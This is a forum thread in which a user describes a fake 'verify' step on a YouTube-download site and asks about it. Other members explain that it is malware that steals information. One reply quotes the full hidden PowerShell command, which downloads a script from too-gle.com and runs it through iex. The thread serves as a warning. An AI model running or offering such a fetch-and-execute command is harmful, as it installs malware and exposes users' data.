New scam that can hack your computer [BE AWARE]

MgicalaEarner

MgicalaEarner

Elite Member
Joined
Jul 8, 2017
Messages
3,749
Reaction score
4,871
I was downloading YouTube video and told me to verify like this to proceed.
1737467359378.png


powershell.exe -W Hidden -command $uR='***Link removed by a Moderator***';$reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t


Can someone explain what is this?
 
Last edited by a moderator:
Advertise on BHW
MgicalaEarner said:
I was downloading YouTube video and told me to verify like this to proceed.
View attachment 414292

powershell.exe -W Hidden -command $uR='https://too-gle.com/coco/joas.txt'; $reS=Invoke-WebRequest -Uri $uR -UseBasicParsing; $t=$reS.Content; iex $t


Can someone explain what is this?
Click to expand...
It's a hack. Don't run it. You can check what's inside the .txt file (there are some further commands for the hack - what to download and from where) with any online browser. Cannot explain more.
 
Last edited:
Deleted member 1603965 said:
OP is asking a specific question. They aren't looking for generic answers.
Click to expand...
Everybody else in this thread said basically the same thing - it's a malicious script, don't run it - why didn't you tag them as well?

If you think we are giving generic answers, provide us with a better answer, the point is that this is a scam script and it can hack someone's computer, if you can give us a detailed answer, it would be appreciated
 
i just read an article on a cyber security blog a few days ago about that exact thing.

malware going around and tricking people into executing malicious code in powershell.

it's further than a scan script. it installs malware on your computer and steals information.

it attempts to run this code https://too-gle[.]com/coco/joas.txt

you can plug those urls into any.run for analysis. see below.

https://any.run/report/0bf58424b2a4...7500c19e/1f88a068-c0af-4680-a8e3-a34a42efa487

https://any.run/report/c7ad2c2ef48f...4cde2923/10fd1995-5a61-496f-ab66-7e2e3fa020d5
 
I saw this mostly on coinmarketcap, if you go and check the chats you will see many are doing that.
 
Why are you using those fishy sites to download a YOUTUBE? video in the first place?

next time you try to download a youtube video use: ytdl-org/youtube-dl (if you want to download playlists/bulk videos) or ssvid net
to download and save videos from many other sites
 
The reason you get this message is that you and others would prefer to fall in to the trap of hackers and download content for free when you shouldn't. The only legit way to download youtube content is from youtube on premium memberships.

If you can't afford $10 a month, and you'd rather have your computer hacked, then yes, be my guest. lol
 
Advertise on BHW
You must log in or register to reply here.
Sign up now!

Main Menu

Home Main Forum List Black Hat SEO White Hat SEO BHW Newbie Guide Blogging Black Hat Tools Social Media Downloads

Marketplace

Account Selling Content / Copywriting EBooks / Methods Hosting Misc Proxies For Sale SEO - Link building SEO - Packages Social Media Social Media - Panels Web Design More

Making Money

Affiliate Programs Hire a Freelancer IM Journeys Making Money Pay Per Click Site Flipping Want to Buy

BlackHat World

Dispute Resolution Forum Suggestions & Feedback Introductions Lounge
Back
Top